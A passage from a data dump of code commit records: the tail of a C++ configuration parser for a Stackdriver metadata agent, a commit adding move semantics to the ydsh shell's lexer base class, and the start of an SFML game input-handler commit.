\"Configuration file location\")\n      ;\n  boost::program_options::options_description all_desc;\n  all_desc.add(flags_desc).add(hidden_desc);\n  boost::program_options::positional_options_description positional_desc;\n  positional_desc.add(kConfigFileFlag, 1);\n  boost::program_options::variables_map flags;\n  try {\n    boost::program_options::store(\n        boost::program_options::command_line_parser(ac, av)\n        .options(all_desc).positional(positional_desc).run(), flags);\n    boost::program_options::notify(flags);\n\n    if (flags.count(\"help\")) {\n      std::cout << flags_desc << std::endl;\n      return -1;\n    }\n    if (flags.count(\"version\")) {\n      std::cout << \"Stackdriver Metadata Agent v\" << STRINGIFY(AGENT_VERSION)\n                << std::endl;\n      return -1;\n    }\n    ParseConfigFile(config_file);\n\n    \/\/ Command line options override the options provided in the config file.\n    if (flags.count(\"option\")) {\n      std::stringstream option_stream;\n      const std::vector<std::string> options =\n          flags[\"option\"].as<std::vector<std::string>>();\n      for (const std::string& option : options) {\n        std::size_t separator_pos = option.find(\"=\");\n        if (separator_pos == std::string::npos) {\n          std::cerr << \"Invalid option \" << option;\n          return 1;\n        }\n        const std::string key = option.substr(0, separator_pos);\n        const std::string value =\n            option.substr(separator_pos + 1, std::string::npos);\n        option_stream << key << \": \" << value << \"\\n\";\n      }\n\n#ifdef VERBOSE\n      std::cout << \"Options:\\n\" << option_stream.str() << std::endl;\n#endif\n      ParseConfiguration(option_stream);\n    }\n\n    return 0;\n  } catch (const boost::program_options::error& arg_error) {\n    std::cerr << arg_error.what() << std::endl;\n    std::cerr << flags_desc << std::endl;\n    return 1;\n  }\n}\n\nvoid Configuration::ParseConfigFile(const std::string& filename) {\n  if (filename.empty()) return;\n\n  std::ifstream input(filename);\n  ParseConfiguration(input);\n}\n\nvoid Configuration::ParseConfiguration(std::istream& input) {\n  YAML::Node config = YAML::Load(input);\n  std::lock_guard<std::mutex> lock(mutex_);\n  project_id_ =\n      config[\"ProjectId\"].as<std::string>(project_id_);\n  credentials_file_ =\n      config[\"CredentialsFile\"].as<std::string>(credentials_file_);\n  metadata_api_num_threads_ =\n      config[\"MetadataApiNumThreads\"].as<int>(metadata_api_num_threads_);\n  metadata_api_port_ =\n      config[\"MetadataApiPort\"].as<int>(metadata_api_port_);\n  metadata_api_resource_type_separator_ =\n      config[\"MetadataApiResourceTypeSeparator\"].as<std::string>(\n          metadata_api_resource_type_separator_);\n  metadata_reporter_interval_seconds_ =\n      config[\"MetadataReporterIntervalSeconds\"].as<int>(\n          metadata_reporter_interval_seconds_);\n  metadata_reporter_purge_deleted_ =\n      config[\"MetadataReporterPurgeDeleted\"].as<bool>(\n          metadata_reporter_purge_deleted_);\n  metadata_reporter_user_agent_ =\n      config[\"MetadataReporterUserAgent\"].as<std::string>(\n          metadata_reporter_user_agent_);\n  metadata_ingestion_endpoint_format_ =\n      config[\"MetadataIngestionEndpointFormat\"].as<std::string>(\n          metadata_ingestion_endpoint_format_);\n  metadata_ingestion_request_size_limit_bytes_ =\n      config[\"MetadataIngestionRequestSizeLimitBytes\"].as<int>(\n          metadata_ingestion_request_size_limit_bytes_);\n  metadata_ingestion_request_size_limit_count_ =\n      config[\"MetadataIngestionRequestSizeLimitCount\"].as<int>(\n          metadata_ingestion_request_size_limit_count_);\n  metadata_ingestion_raw_content_version_ =\n      config[\"MetadataIngestionRawContentVersion\"].as<std::string>(\n          metadata_ingestion_raw_content_version_);\n  instance_updater_interval_seconds_ =\n      config[\"InstanceUpdaterIntervalSeconds\"].as<int>(\n          instance_updater_interval_seconds_);\n  instance_resource_type_ =\n      config[\"InstanceResourceType\"].as<std::string>(instance_resource_type_);\n  docker_updater_interval_seconds_ =\n      config[\"DockerUpdaterIntervalSeconds\"].as<int>(\n          docker_updater_interval_seconds_);\n  docker_endpoint_host_ =\n      config[\"DockerEndpointHost\"].as<std::string>(docker_endpoint_host_);\n  docker_api_version_ =\n      config[\"DockerApiVersion\"].as<std::string>(docker_api_version_);\n  docker_container_filter_ =\n      config[\"DockerContainerFilter\"].as<std::string>(\n          docker_container_filter_);\n  kubernetes_updater_interval_seconds_ =\n      config[\"KubernetesUpdaterIntervalSeconds\"].as<int>(\n          kubernetes_updater_interval_seconds_);\n  kubernetes_endpoint_host_ =\n      config[\"KubernetesEndpointHost\"].as<std::string>(\n          kubernetes_endpoint_host_);\n  kubernetes_pod_label_selector_ =\n      config[\"KubernetesPodLabelSelector\"].as<std::string>(\n          kubernetes_pod_label_selector_);\n  kubernetes_cluster_name_ =\n      config[\"KubernetesClusterName\"].as<std::string>(\n          kubernetes_cluster_name_);\n  kubernetes_cluster_location_ =\n      config[\"KubernetesClusterLocation\"].as<std::string>(\n          kubernetes_cluster_location_);\n  kubernetes_node_name_ =\n      config[\"KubernetesNodeName\"].as<std::string>(kubernetes_node_name_);\n  kubernetes_use_watch_ =\n      config[\"KubernetesUseWatch\"].as<bool>(kubernetes_use_watch_);\n  kubernetes_cluster_level_metadata_ =\n      config[\"KubernetesClusterLevelMetadata\"].as<bool>(\n          kubernetes_cluster_level_metadata_);\n  kubernetes_service_metadata_ =\n      config[\"KubernetesServiceMetadata\"].as<bool>(\n          kubernetes_service_metadata_);\n  instance_id_ =\n      config[\"InstanceId\"].as<std::string>(instance_id_);\n  instance_zone_ =\n      config[\"InstanceZone\"].as<std::string>(instance_zone_);\n  health_check_file_ =\n      config[\"HealthCheckFile\"].as<std::string>(health_check_file_);\n}\n\n}  \/\/ google\n\n#undef STRINGIFY\n#undef STRINGIFY_H\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015-2017 Nagisa Sekiguchi\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef YDSH_MISC_LEXER_BASE_HPP\n#define YDSH_MISC_LEXER_BASE_HPP\n\n#include <cstdio>\n#include <cstring>\n#include <cassert>\n#include <string>\n#include <type_traits>\n#include <vector>\n#include <memory>\n#include <algorithm>\n\n#include \"unicode.hpp\"\n#include \"noncopyable.h\"\n#include \"token.hpp\"\n\nnamespace ydsh {\nnamespace parser_base {\n\n\nnamespace __detail {\n\n\/**\n * base lexer for re2c\n *\/\ntemplate<bool T>\nclass LexerBase {\nprotected:\n    static_assert(T, \"not allowed instantiation\");\n\n    \/**\n     * may be null, if input source is string. not closed it.\n     * must be binary mode.\n     *\/\n    FILE *fp{nullptr};\n\n    unsigned int bufSize{0};\n\n    \/**\n     * must terminate null character.\n     *\/\n    unsigned char *buf{nullptr};\n\n    \/**\n     * current reading pointer of buf.\n     *\/\n    unsigned char *cursor{nullptr};\n\n    \/**\n     * limit of buf.\n     *\/\n    unsigned char *limit{nullptr};\n\n    \/**\n     * for backtracking.\n     *\/\n    unsigned char *marker{nullptr};\n\n    \/**\n     * for trailing context\n     *\/\n    unsigned char *ctxMarker{nullptr};\n\n    \/**\n     * if fp is null or fp reach EOF, it it true.\n     *\/\n    bool endOfFile{false};\n\n    \/**\n     * if true, reach end of string. nextToken() always return EOS.\n     *\/\n    bool endOfString{false};\n\n    static constexpr unsigned int DEFAULT_SIZE = 256;\n    static constexpr int DEFAULT_READ_SIZE = 128;\n\nprivate:\n    LexerBase() = default;\n\npublic:\n    NON_COPYABLE(LexerBase);\n\n    \/**\n     * FILE must be opened with binary mode.\n     * insert newline if not terminated by it.\n     *\/\n\n    \/**\n     *\n     * @param fp\n     * must be opened with binary mode.\n     * @return\n     *\/\n    explicit LexerBase(FILE *fp);\n\n    \/**\n     *\n     * @param src\n     * must be null terminated.\n     * @return\n     *\/\n    explicit LexerBase(const char *src) : LexerBase(src, strlen(src)) {}\n\n    \/**\n     *\n     * @param data\n     * @param size\n     * @return\n     *\/\n    LexerBase(const char *data, unsigned int size);\n\nprotected:\n    ~LexerBase() {\n        delete[] this->buf;\n    }\n\npublic:\n    \/**\n     * get current reading position.\n     *\/\n    unsigned int getPos() const {\n        return this->cursor - this->buf;\n    }\n\n    \/**\n     * used size of buf. must be this->getUsedSize() <= this->getBufSize().\n     *\/\n    unsigned int getUsedSize() const {\n        return this->limit - this->buf + 1;\n    }\n\n    bool withinRange(Token token) const {\n        return token.pos < this->getUsedSize()\n               && token.pos + token.size <= this->getUsedSize();\n    }\n\n    \/**\n     * get text of token.\n     *\/\n    std::string toTokenText(Token token) const {\n        assert(this->withinRange(token));\n        return std::string((char *) (this->buf + token.pos), token.size);\n    }\n\n    \/**\n     * buf size must be equivalent to base.size\n     *\/\n    void copyTokenText(Token token, char *buf) const {\n        assert(this->withinRange(token));\n        memcpy(buf, (char *)this->buf + token.pos, token.size);\n    }\n\n    bool startsWith(Token token, char ch) const {\n        assert(this->withinRange(token));\n        return this->buf[token.pos] == ch;\n    }\n\n    bool equals(Token token, const char *str) const {\n        assert(this->withinRange(token));\n        return strlen(str) == token.size &&\n                memcmp(this->buf + token.pos, str, token.size) == 0;\n    }\n\n    \/**\n     * shift EOS token to left.\n     * @param token\n     * @return\n     * if token is EOS, skip redundant white spaces and shift to left.\n     * otherwise, return token.\n     *\/\n    Token shiftEOS(Token token) const;\n\n    \/**\n     * get line token which token belongs to.\n     *\/\n    Token getLineToken(Token token) const;\n\n    std::string formatLineMarker(Token lineToken, Token token) const;\n\nprivate:\n    \/**\n     * if this->usedSize + needSize > this->maxSize, expand buf.\n     *\/\n    void expandBuf(unsigned int needSize);\n\n    \/**\n     * swap new buffer and old one, after swapping, update some pointers and bufSize\n     *\/\n    void swapBuffer(unsigned char *&newBuf, unsigned int &newSize);\n\n    unsigned int toCodePoint(unsigned int offset, int &code) const {\n        return UnicodeUtil::utf8ToCodePoint((char *)(this->buf + offset), this->getUsedSize() - offset, code);\n    }\n\nprotected:\n    \/**\n     * fill buffer. called from this->nextToken().\n     *\/\n    bool fill(int n);\n};\n\n\/\/ #######################\n\/\/ ##     LexerBase     ##\n\/\/ #######################\n\ntemplate<bool T>\nLexerBase<T>::LexerBase(FILE *fp) : LexerBase() {\n    this->fp = fp;\n    this->bufSize = DEFAULT_SIZE;\n    this->buf = new unsigned char[this->bufSize];\n\n    this->cursor = this->buf;\n    this->limit = this->buf;\n}\n\ntemplate<bool T>\nLexerBase<T>::LexerBase(const char *data, unsigned int size) : LexerBase() {\n    const bool insertingNewline = size == 0 || data[size - 1] != '\\n';\n    this->bufSize = size + 1 + (insertingNewline ? 1 : 0);\n\n    this->buf = new unsigned char[this->bufSize];\n    memcpy(this->buf, data, sizeof(unsigned char) * size);\n    if(insertingNewline) {\n        this->buf[this->bufSize - 2] = '\\n';\n    }\n    this->buf[this->bufSize - 1] = '\\0';\n\n    this->cursor = this->buf;\n    this->limit = this->buf + this->bufSize - 1;\n    this->endOfFile = true;\n}\n\ntemplate <bool T>\nToken LexerBase<T>::shiftEOS(Token token) const {\n    if(token.size == 0) {\n        unsigned int startIndex = token.pos;\n        for(; startIndex > 0; startIndex--) {\n            char ch = this->buf[startIndex];\n            if(ch == ' ' || ch == '\\t' || ch == '\\n' || ch == '\\000') {\n                continue;\n            }\n            if(ch == '\\\\' && startIndex + 1 < token.pos) {\n                char next = this->buf[startIndex + 1];\n                if(next == ' ' || next == '\\t' || next == '\\n') {\n                    continue;\n                }\n            }\n            break;\n        }\n        token.pos = startIndex;\n    }\n    return token;\n}\n\ntemplate <bool T>\nToken LexerBase<T>::getLineToken(Token token) const {\n    assert(this->withinRange(token));\n\n    \/\/ find start index of line.\n    long startIndex = token.pos;\n    for(; startIndex > -1; startIndex--) {\n        if(this->buf[startIndex] == '\\n') {\n            startIndex += (startIndex == token.pos) ? 0 : 1;\n            break;\n        }\n    }\n    if(startIndex == -1) {\n        startIndex = 0;\n    }\n\n    \/\/ find stop index of line\n    unsigned int stopIndex = token.pos + token.size;\n    if(token.size > 0) {\n        for(unsigned int usedSize = this->getUsedSize(); stopIndex < usedSize; stopIndex++) {\n            if(this->buf[stopIndex] == '\\n') {\n                break;\n            }\n        }\n    } else {\n        stopIndex++;\n    }\n\n    assert(startIndex > -1);\n    Token lineToken;\n    lineToken.pos = static_cast<unsigned int>(startIndex);\n    lineToken.size = stopIndex - static_cast<unsigned int>(startIndex);\n    return lineToken;\n}\n\ntemplate<bool T>\nstd::string LexerBase<T>::formatLineMarker(Token lineToken, Token token) const {\n    assert(lineToken.pos <= token.pos);\n\n    std::string marker;\n    for(unsigned int i = lineToken.pos; i < token.pos;) {\n        int code = 0;\n        i += this->toCodePoint(i, code);\n        if(code < 0) {\n            return marker;\n        }\n        if(code == '\\t' || code == '\\n') {\n            marker += static_cast<char>(code);\n            continue;\n        }\n        int width = UnicodeUtil::localeAwareWidth(code);\n        if(width == 1) {\n            marker += \" \";\n        } else if(width == 2) {\n            marker += \"  \";\n        }\n    }\n    const unsigned int stopPos = token.size + token.pos;\n    if(token.size == 0) {\n        marker += \"  ^\";\n    }\n    for(unsigned int i = token.pos; i < stopPos;) {\n        unsigned int prev = i;\n        int code = 0;\n        i += this->toCodePoint(i, code);\n        if(code < 0) {\n            return marker;\n        }\n        if(code == '\\t' || code == '\\n') {\n            marker += static_cast<char>(code);\n            continue;\n        }\n        int width = UnicodeUtil::localeAwareWidth(code);\n        if(width == 1) {\n            marker += (prev == token.pos ? \"^\" : \"~\");\n        } else if(width == 2) {\n            marker += (prev == token.pos ? \"^~\" : \"~~\");\n        }\n    }\n    return marker;\n}\n\ntemplate<bool T>\nvoid LexerBase<T>::expandBuf(unsigned int needSize) {\n    unsigned int usedSize = this->getUsedSize();\n    unsigned int size = usedSize + needSize;\n    if(size > this->bufSize) {\n        unsigned int newSize = this->bufSize;\n        do {\n            newSize += (newSize >> 1);\n        } while(newSize < size);\n\n        \/\/ swap to new buffer\n        unsigned char *newBuf = new unsigned char[newSize];\n        memcpy(newBuf, this->buf, sizeof(unsigned char) * usedSize);\n        this->swapBuffer(newBuf, newSize);\n        delete[] newBuf;\n    }\n}\n\ntemplate <bool T>\nvoid LexerBase<T>::swapBuffer(unsigned char *&newBuf, unsigned int &newSize) {\n    \/\/ save position\n    const unsigned int usedSize = this->getUsedSize();\n    const unsigned int pos = this->getPos();\n    const unsigned int markerPos = this->marker - this->buf;\n    const unsigned int ctxMarkerPos = this->ctxMarker - this->buf;\n\n    \/\/ swap\n    std::swap(this->buf, newBuf);\n    std::swap(this->bufSize, newSize);\n\n    \/\/ restore position\n    this->cursor = this->buf + pos;\n    this->limit = this->buf + usedSize - 1;\n    this->marker = this->buf + markerPos;\n    this->ctxMarker = this->buf + ctxMarkerPos;\n}\n\ntemplate<bool T>\nbool LexerBase<T>::fill(int n) {\n    if(this->endOfString && this->limit - this->cursor <= 0) {\n        return false;\n    }\n\n    if(!this->endOfFile) {\n        int needSize = n - (this->limit - this->cursor);\n        assert(needSize > -1);\n        needSize = (needSize > DEFAULT_READ_SIZE) ? needSize : DEFAULT_READ_SIZE;\n        this->expandBuf(needSize);\n        int readSize = fread(this->limit, sizeof(unsigned char), needSize, this->fp);\n        this->limit += readSize;\n        *this->limit = '\\0';\n        if(readSize < needSize) {\n            this->endOfFile = true;\n            if(*(this->limit - 1) != '\\n') {    \/\/ terminated newline\n                this->expandBuf(1);\n                *this->limit = '\\n';\n                this->limit += 1;\n                *this->limit = '\\0';\n            }\n        }\n    }\n    return true;\n}\n\n} \/\/ namespace __detail\n\nusing LexerBase = __detail::LexerBase<true>;\n\n\n} \/\/ namespace parser_base\n} \/\/ namespace ydsh\n\n#endif \/\/YDSH_LEXER_BASE_HPP\n<commit_msg>LexerBase is move assignable<commit_after>\/*\n * Copyright (C) 2015-2017 Nagisa Sekiguchi\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef YDSH_MISC_LEXER_BASE_HPP\n#define YDSH_MISC_LEXER_BASE_HPP\n\n#include <cstdio>\n#include <cstring>\n#include <cassert>\n#include <string>\n#include <type_traits>\n#include <vector>\n#include <memory>\n#include <algorithm>\n\n#include \"unicode.hpp\"\n#include \"noncopyable.h\"\n#include \"token.hpp\"\n\nnamespace ydsh {\nnamespace parser_base {\n\n\nnamespace __detail {\n\n\/**\n * base lexer for re2c\n *\/\ntemplate<bool T>\nclass LexerBase {\nprotected:\n    static_assert(T, \"not allowed instantiation\");\n\n    \/**\n     * may be null, if input source is string. not closed it.\n     * must be binary mode.\n     *\/\n    FILE *fp{nullptr};\n\n    unsigned int bufSize{0};\n\n    \/**\n     * must terminate null character.\n     *\/\n    unsigned char *buf{nullptr};\n\n    \/**\n     * current reading pointer of buf.\n     *\/\n    unsigned char *cursor{nullptr};\n\n    \/**\n     * limit of buf.\n     *\/\n    unsigned char *limit{nullptr};\n\n    \/**\n     * for backtracking.\n     *\/\n    unsigned char *marker{nullptr};\n\n    \/**\n     * for trailing context\n     *\/\n    unsigned char *ctxMarker{nullptr};\n\n    \/**\n     * if fp is null or fp reach EOF, it it true.\n     *\/\n    bool endOfFile{false};\n\n    \/**\n     * if true, reach end of string. nextToken() always return EOS.\n     *\/\n    bool endOfString{false};\n\n    static constexpr unsigned int DEFAULT_SIZE = 256;\n    static constexpr int DEFAULT_READ_SIZE = 128;\n\nprotected:\n    LexerBase() = default;\n\n    ~LexerBase() {\n        delete[] this->buf;\n    }\n\npublic:\n    NON_COPYABLE(LexerBase);\n\n    LexerBase(LexerBase &&lex) noexcept :\n            fp(lex.fp), bufSize(lex.bufSize), buf(lex.buf), cursor(lex.cursor),\n            limit(lex.limit), marker(lex.marker), ctxMarker(lex.ctxMarker),\n            endOfFile(lex.endOfFile), endOfString(lex.endOfString) {\n        lex.buf = nullptr;\n    }\n\n    LexerBase &operator=(LexerBase &&lex) {\n        auto tmp(std::move(lex));\n        this->swap(tmp);\n        return *this;\n    }\n\n    void swap(LexerBase &lex) {\n        std::swap(this->fp, lex.fp);\n        std::swap(this->bufSize, lex.bufSize);\n        std::swap(this->buf, lex.buf);\n        std::swap(this->cursor, lex.cursor);\n        std::swap(this->limit, lex.limit);\n        std::swap(this->marker, lex.marker);\n        std::swap(this->ctxMarker, lex.ctxMarker);\n        std::swap(this->endOfFile, lex.endOfFile);\n        std::swap(this->endOfString, lex.endOfString);\n    }\n\n    \/**\n     * FILE must be opened with binary mode.\n     * insert newline if not terminated by it.\n     *\/\n\n    \/**\n     *\n     * @param fp\n     * must be opened with binary mode.\n     * @return\n     *\/\n    explicit LexerBase(FILE *fp);\n\n    \/**\n     *\n     * @param src\n     * must be null terminated.\n     * @return\n     *\/\n    explicit LexerBase(const char *src) : LexerBase(src, strlen(src)) {}\n\n    \/**\n     *\n     * @param data\n     * @param size\n     * @return\n     *\/\n    LexerBase(const char *data, unsigned int size);\n\n    \/**\n     * get current reading position.\n     *\/\n    unsigned int getPos() const {\n        return this->cursor - this->buf;\n    }\n\n    \/**\n     * used size of buf. must be this->getUsedSize() <= this->getBufSize().\n     *\/\n    unsigned int getUsedSize() const {\n        return this->limit - this->buf + 1;\n    }\n\n    bool withinRange(Token token) const {\n        return token.pos < this->getUsedSize()\n               && token.pos + token.size <= this->getUsedSize();\n    }\n\n    \/**\n     * get text of token.\n     *\/\n    std::string toTokenText(Token token) const {\n        assert(this->withinRange(token));\n        return std::string((char *) (this->buf + token.pos), token.size);\n    }\n\n    \/**\n     * buf size must be equivalent to base.size\n     *\/\n    void copyTokenText(Token token, char *buf) const {\n        assert(this->withinRange(token));\n        memcpy(buf, (char *)this->buf + token.pos, token.size);\n    }\n\n    bool startsWith(Token token, char ch) const {\n        assert(this->withinRange(token));\n        return this->buf[token.pos] == ch;\n    }\n\n    bool equals(Token token, const char *str) const {\n        assert(this->withinRange(token));\n        return strlen(str) == token.size &&\n                memcmp(this->buf + token.pos, str, token.size) == 0;\n    }\n\n    \/**\n     * shift EOS token to left.\n     * @param token\n     * @return\n     * if token is EOS, skip redundant white spaces and shift to left.\n     * otherwise, return token.\n     *\/\n    Token shiftEOS(Token token) const;\n\n    \/**\n     * get line token which token belongs to.\n     *\/\n    Token getLineToken(Token token) const;\n\n    std::string formatLineMarker(Token lineToken, Token token) const;\n\nprivate:\n    \/**\n     * if this->usedSize + needSize > this->maxSize, expand buf.\n     *\/\n    void expandBuf(unsigned int needSize);\n\n    \/**\n     * swap new buffer and old one, after swapping, update some pointers and bufSize\n     *\/\n    void swapBuffer(unsigned char *&newBuf, unsigned int &newSize);\n\n    unsigned int toCodePoint(unsigned int offset, int &code) const {\n        return UnicodeUtil::utf8ToCodePoint((char *)(this->buf + offset), this->getUsedSize() - offset, code);\n    }\n\nprotected:\n    \/**\n     * fill buffer. called from this->nextToken().\n     *\/\n    bool fill(int n);\n};\n\n\/\/ #######################\n\/\/ ##     LexerBase     ##\n\/\/ #######################\n\ntemplate<bool T>\nLexerBase<T>::LexerBase(FILE *fp) : LexerBase() {\n    this->fp = fp;\n    this->bufSize = DEFAULT_SIZE;\n    this->buf = new unsigned char[this->bufSize];\n\n    this->cursor = this->buf;\n    this->limit = this->buf;\n}\n\ntemplate<bool T>\nLexerBase<T>::LexerBase(const char *data, unsigned int size) : LexerBase() {\n    const bool insertingNewline = size == 0 || data[size - 1] != '\\n';\n    this->bufSize = size + 1 + (insertingNewline ? 1 : 0);\n\n    this->buf = new unsigned char[this->bufSize];\n    memcpy(this->buf, data, sizeof(unsigned char) * size);\n    if(insertingNewline) {\n        this->buf[this->bufSize - 2] = '\\n';\n    }\n    this->buf[this->bufSize - 1] = '\\0';\n\n    this->cursor = this->buf;\n    this->limit = this->buf + this->bufSize - 1;\n    this->endOfFile = true;\n}\n\ntemplate <bool T>\nToken LexerBase<T>::shiftEOS(Token token) const {\n    if(token.size == 0) {\n        unsigned int startIndex = token.pos;\n        for(; startIndex > 0; startIndex--) {\n            char ch = this->buf[startIndex];\n            if(ch == ' ' || ch == '\\t' || ch == '\\n' || ch == '\\000') {\n                continue;\n            }\n            if(ch == '\\\\' && startIndex + 1 < token.pos) {\n                char next = this->buf[startIndex + 1];\n                if(next == ' ' || next == '\\t' || next == '\\n') {\n                    continue;\n                }\n            }\n            break;\n        }\n        token.pos = startIndex;\n    }\n    return token;\n}\n\ntemplate <bool T>\nToken LexerBase<T>::getLineToken(Token token) const {\n    assert(this->withinRange(token));\n\n    \/\/ find start index of line.\n    long startIndex = token.pos;\n    for(; startIndex > -1; startIndex--) {\n        if(this->buf[startIndex] == '\\n') {\n            startIndex += (startIndex == token.pos) ? 0 : 1;\n            break;\n        }\n    }\n    if(startIndex == -1) {\n        startIndex = 0;\n    }\n\n    \/\/ find stop index of line\n    unsigned int stopIndex = token.pos + token.size;\n    if(token.size > 0) {\n        for(unsigned int usedSize = this->getUsedSize(); stopIndex < usedSize; stopIndex++) {\n            if(this->buf[stopIndex] == '\\n') {\n                break;\n            }\n        }\n    } else {\n        stopIndex++;\n    }\n\n    assert(startIndex > -1);\n    Token lineToken;\n    lineToken.pos = static_cast<unsigned int>(startIndex);\n    lineToken.size = stopIndex - static_cast<unsigned int>(startIndex);\n    return lineToken;\n}\n\ntemplate<bool T>\nstd::string LexerBase<T>::formatLineMarker(Token lineToken, Token token) const {\n    assert(lineToken.pos <= token.pos);\n\n    std::string marker;\n    for(unsigned int i = lineToken.pos; i < token.pos;) {\n        int code = 0;\n        i += this->toCodePoint(i, code);\n        if(code < 0) {\n            return marker;\n        }\n        if(code == '\\t' || code == '\\n') {\n            marker += static_cast<char>(code);\n            continue;\n        }\n        int width = UnicodeUtil::localeAwareWidth(code);\n        if(width == 1) {\n            marker += \" \";\n        } else if(width == 2) {\n            marker += \"  \";\n        }\n    }\n    const unsigned int stopPos = token.size + token.pos;\n    if(token.size == 0) {\n        marker += \"  ^\";\n    }\n    for(unsigned int i = token.pos; i < stopPos;) {\n        unsigned int prev = i;\n        int code = 0;\n        i += this->toCodePoint(i, code);\n        if(code < 0) {\n            return marker;\n        }\n        if(code == '\\t' || code == '\\n') {\n            marker += static_cast<char>(code);\n            continue;\n        }\n        int width = UnicodeUtil::localeAwareWidth(code);\n        if(width == 1) {\n            marker += (prev == token.pos ? \"^\" : \"~\");\n        } else if(width == 2) {\n            marker += (prev == token.pos ? \"^~\" : \"~~\");\n        }\n    }\n    return marker;\n}\n\ntemplate<bool T>\nvoid LexerBase<T>::expandBuf(unsigned int needSize) {\n    unsigned int usedSize = this->getUsedSize();\n    unsigned int size = usedSize + needSize;\n    if(size > this->bufSize) {\n        unsigned int newSize = this->bufSize;\n        do {\n            newSize += (newSize >> 1);\n        } while(newSize < size);\n\n        \/\/ swap to new buffer\n        unsigned char *newBuf = new unsigned char[newSize];\n        memcpy(newBuf, this->buf, sizeof(unsigned char) * usedSize);\n        this->swapBuffer(newBuf, newSize);\n        delete[] newBuf;\n    }\n}\n\ntemplate <bool T>\nvoid LexerBase<T>::swapBuffer(unsigned char *&newBuf, unsigned int &newSize) {\n    \/\/ save position\n    const unsigned int usedSize = this->getUsedSize();\n    const unsigned int pos = this->getPos();\n    const unsigned int markerPos = this->marker - this->buf;\n    const unsigned int ctxMarkerPos = this->ctxMarker - this->buf;\n\n    \/\/ swap\n    std::swap(this->buf, newBuf);\n    std::swap(this->bufSize, newSize);\n\n    \/\/ restore position\n    this->cursor = this->buf + pos;\n    this->limit = this->buf + usedSize - 1;\n    this->marker = this->buf + markerPos;\n    this->ctxMarker = this->buf + ctxMarkerPos;\n}\n\ntemplate<bool T>\nbool LexerBase<T>::fill(int n) {\n    if(this->endOfString && this->limit - this->cursor <= 0) {\n        return false;\n    }\n\n    if(!this->endOfFile) {\n        int needSize = n - (this->limit - this->cursor);\n        assert(needSize > -1);\n        needSize = (needSize > DEFAULT_READ_SIZE) ? needSize : DEFAULT_READ_SIZE;\n        this->expandBuf(needSize);\n        int readSize = fread(this->limit, sizeof(unsigned char), needSize, this->fp);\n        this->limit += readSize;\n        *this->limit = '\\0';\n        if(readSize < needSize) {\n            this->endOfFile = true;\n            if(*(this->limit - 1) != '\\n') {    \/\/ terminated newline\n                this->expandBuf(1);\n                *this->limit = '\\n';\n                this->limit += 1;\n                *this->limit = '\\0';\n            }\n        }\n    }\n    return true;\n}\n\n} \/\/ namespace __detail\n\nusing LexerBase = __detail::LexerBase<true>;\n\n\n} \/\/ namespace parser_base\n} \/\/ namespace ydsh\n\n#endif \/\/YDSH_LEXER_BASE_HPP\n<|endoftext|>"}
{"text":"<commit_before>#include \"input.h\"\n\nInputHandler::InputHandler(sf::Window* Window, Player* Player, Renderer* Renderer) : app(Window), player(Player), renderer(Renderer) {\n    app->ShowMouseCursor(false);\n}\n\nbool fullscreen = false;\nvoid InputHandler::handleEvent(sf::Event Event) {\n    \/\/ Close window : exit\n    if (Event.Type == sf::Event::Closed)\n        app->Close();\n\n    if(Event.Type == sf::Event::KeyPressed) {\n        switch(Event.Key.Code) {\n            \/\/ Escape key : exit\n            case sf::Key::Escape:\n                app->Close();\n                break;\n            \/\/ Spacebar : jump\n            case sf::Key::Space:\n                player->Jump();\n                break;\n            \/\/ F5 : regenerate terrain\n            case sf::Key::F5:\n                renderer->terrain.Regenerate();\n                break;\n            \/\/ F11 : toggle fullscreen\n            case sf::Key::F11:\n                toggleFullscreen();\n                break;\n        }\n    }\n\n    \/\/ Resize event : adjust viewport\n    if (Event.Type == sf::Event::Resized)\n        glViewport(0, 0, Event.Size.Width, Event.Size.Height);\n}\n\nfloat ElapsedTime;\nfloat mouseDeltaX, mouseDeltaY;\n\nvoid InputHandler::handleEvents() {\n    const sf::Input& Input = app->GetInput();\n    \n    \/\/ Constant movement speed\n    ElapsedTime = Clock.GetElapsedTime();\n    Clock.Reset();\n    \n    \/\/ Handle held keys\n    if ((Input.IsKeyDown(sf::Key::S))) player->Forward(-ElapsedTime);\n    if ((Input.IsKeyDown(sf::Key::W))) player->Forward( ElapsedTime);\n    if ((Input.IsKeyDown(sf::Key::D))) player->Strafe(-ElapsedTime);\n    if ((Input.IsKeyDown(sf::Key::A))) player->Strafe( ElapsedTime);\n    if ((Input.IsKeyDown(sf::Key::Z))) player->Speed++;\n    if ((Input.IsKeyDown(sf::Key::X))) player->Speed--;\n        \n    \/\/ Handle other events\n    sf::Event Event;\n    while (app->GetEvent(Event))\n    {\n        handleEvent(Event);\n    }\n        \n    \/\/ Rotate view based on mouse movement \n    mouseDeltaX = Input.GetMouseX() - 100; \n    mouseDeltaY = Input.GetMouseY() - 100;\n    app->SetCursorPosition(100, 100);\n    \n    if (!(mouseDeltaX == -100 && mouseDeltaY == -100) && !(mouseDeltaX == 0 && mouseDeltaY == 0)) \n        player->ChangeRotation((mouseDeltaY\/10), (mouseDeltaX\/10));\n        \n    player->DoStep(ElapsedTime);\n}\n\nvoid InputHandler::toggleFullscreen() {\n    fullscreen = !fullscreen;\n    app->Create(sf::VideoMode(800, 600, 32), \"MineCube\", (fullscreen ? sf::Style::Fullscreen : sf::Style::Resize|sf::Style::Close));\n        \n    renderer->InitGraphics();\n    app->ShowMouseCursor(false);\n}\n<commit_msg>Removed unneeded parenthesis<commit_after>#include \"input.h\"\n\nInputHandler::InputHandler(sf::Window* Window, Player* Player, Renderer* Renderer) : app(Window), player(Player), renderer(Renderer) {\n    app->ShowMouseCursor(false);\n}\n\nbool fullscreen = false;\nvoid 